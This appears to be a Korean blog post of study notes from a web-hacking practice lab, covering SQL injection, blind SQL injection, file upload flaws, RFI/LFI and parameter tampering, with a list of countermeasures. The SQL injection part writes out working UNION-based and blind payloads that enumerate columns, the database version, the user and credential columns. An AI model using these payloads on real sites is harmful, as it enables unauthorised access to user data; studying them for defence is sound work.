SQL Injection

OWASP Top 10에 드는 웹 해킹 기법에 대한 복습


🔍 SQL Injection

  • SQL을 악용하여 DB로부터 사용자 정보를 탈취하는 공격 기법


SQL Injection 해킹 실습.

Injection

&no='를 사용하여 DB Error를 확인함 ➡️ SQL인젝션 가능함을 확인!!


Injection &no=74' order by 8#
위 sql 인젝션을 통해, 컬럼이 총 7개임을 알아냈다.


이제 7개의 컬럼을 활용하여 조회를 해보자.
Injection

no=0' union select 1,2,3,4,5,6,7#
이 중 보이는 컬럼은 2,3,4,6번째다.
이 4개를 활용하여 원하는 정보를 조회하면 된다.

간단하게 db version, root를 알아보자.
Injection no=0' union select 1, @@version, 3, user(), 5,6,7#


table members의 컬럼명을 하나씩 조회할 수 있다. 2번째 컬럼은 pass임을 알 수 있다.

Injection

no=0' union all select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='member' limit 2,1#

SQL Injection 보안 대책

  1. 각 필드 값에 맞는 데이터 형태를 확인하는 필터링 작업 필요
  2. 에러 메시지를 사용자에게 보여주지 말 것. 특히 php는 magic_quotes_gpc 설정 ON
  3. SQL 사용자 권한 분리(한 곳에 쏠리지 않게)
  4. 특수문자 제어(ex. html Encoding)
  5. 보안 위협과 관련된 저장 프로시저는 비활성화, 제거




🔍 Blind SQL Injection

  • DB 결과가 내부적으로만 처리됨*
  • 보이지 않아, 참/거짓을 이용하여 데이터를 얻어온다.


Injection

' and length(DATABASE())=8##
db이름 길이 맞추기(8인지 확인)

Injection

메시지를 통해 db이름은 8글자임을 알 수 있다.



🗂️ file Upload 취약

file 취약 사이트에 파일을 업로드한다.

file 다른 사용자가 파일을 실행하면 정보 탈취가 진행된다.



Inclusion Attacks

include 파일을 사용하면 한 콘텐츠를 사이트이 여러 페이지에 쉽게 포함시킬 수 있는 기능을 악용하는 취약점

1. RFI(Remote File Inclusion)

  • 외부에 존재하는 콘텐츠를 동적 로드 가능
  • allow_rl_fopen 허용 시 동작
  • http/ftp 등 다양한 프로토콜 지원
  • 외부 서비스를 통한 공격

2. LFI(Local File Inclusion)

  • 내부에 존재하는 콘텐츠를 동적 로드 기능
  • Log 파일, 환경 변수, 자료실 등 이용



[기타공격]: 파라미터 조작

  • 파라미터 변조, 인자값 변조
  • 접근제어 검사가 없거나 미흡한 경우 발생
  • 공격자가 접근 가능한 실행경로를 통해 사용자 정보를 유출/일시적 권한 상승이 가능한 취약점
  • 프로세스 검증 우회 외에 사용자 입력 값에 대한 검증 누락이 발생하는 모든 상황을 포함
  • SQL 인젝션, 불충분한 인증 및 인가, XSS 공격에 활용될 수 있음

Request 시 파라미터 변수를 조작하면 검증 누락으로 인해 요청이 허가되는 흐름

Written on July 16, 2024